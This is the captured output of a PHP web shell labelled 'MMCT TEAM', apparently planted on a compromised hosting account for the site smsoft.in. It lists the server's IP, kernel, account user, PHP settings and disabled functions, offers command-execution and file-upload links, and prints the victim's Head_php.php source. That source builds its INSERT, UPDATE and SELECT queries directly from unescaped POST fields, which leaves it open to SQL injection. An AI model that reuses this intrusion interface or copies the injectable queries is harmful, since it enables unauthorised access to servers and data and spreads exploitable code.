MMCT TEAM
Server IP : 2a02:4780:3:1493:0:3736:a38e:7  /  Your IP : 216.73.216.139
Web Server : LiteSpeed
System : Linux sg-nme-web1393.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u926327694/domains/smsoft.in/public_html/demo/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u926327694/domains/smsoft.in/public_html/demo/Head_php.php
<?php 

    // First we execute our common code to connection to the database and start the session 
    require("common.php"); 
     
    // At the top of the page we check to see whether the user is logged in or not 
    if(!isset($_SESSION['user']) && !isset($_SESSION['Mng_User'])) 
    { 
        // If they are not, we redirect them to the login page. 
        header("Location: login.php"); 
         
        // Remember that this die statement is absolutely critical.  Without it, 
        // people can view your members-only content without logging in. 
        die("Redirecting to login.php"); 
    } 
     
    // Everything below this point in the file is secured by the login system 
     
    // We can display the user's username to them by reading it from the session array.  Remember that because 
    // a username is user submitted content we must use htmlentities on it before displaying it to the user. 
?> 



<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST') 
{


require_once './config/config.php';

$Head_Name=$_POST["Head_Name"];
 $Sub_Heads1=$_POST["Sub_Heads"];
$Sub_Head = implode("/", $Sub_Heads1);
//echo "$Sub_Heads1";
foreach($Sub_Heads1 as $sbid)
{

   mysqli_query($con,"UPDATE `sub_head` SET `Status` = 'N' where `Sub_Id` = '$sbid'"); 
}


$Last_Date1=$_POST["Last_Date"];

 $Last_Date=date('Y-m-d',strtotime($Last_Date1));
$Last_Date;

$Fine_Amount=$_POST["Fine_Amount"];

if(!isset($_POST["OTP"]))
{
$OTP="No";
}else
{
$OTP="Yes";
}



$Bank_Code=$_POST["Bank_Code"];
$rname=$_POST["rname"];

//mysqli_query($db,'INSERT INTO `class` (`Name`) VALUES ($name)');

$sql=mysqli_query($con,"select * from head where Name = '$Head_Name' ");
$sql1=mysqli_num_rows($sql);

if($sql1 != 0)
{
	?>
	<script>
	document.location="Head.php";
	alert("Duplicate Entry");

	</script>
	<?php
	
}else
{


mysqli_query($con,"insert into head (`Name`,`SubHeads`,`Last_Date`,`One_Time_Payment`,`Fine_Amount`,`Bank_Code`,`ReciptName`)  values ('$Head_Name','$Sub_Head','$Last_Date','$OTP','$Fine_Amount','$Bank_Code','$rname')")or die(mysqli_error($con));

?>
    <script>
	document.location="Head.php";
	alert("Entry Successfull");

	</script>
	<?php
}
}else{
	
	header('location: dashboard.php');
}
?>

MMCT - 2023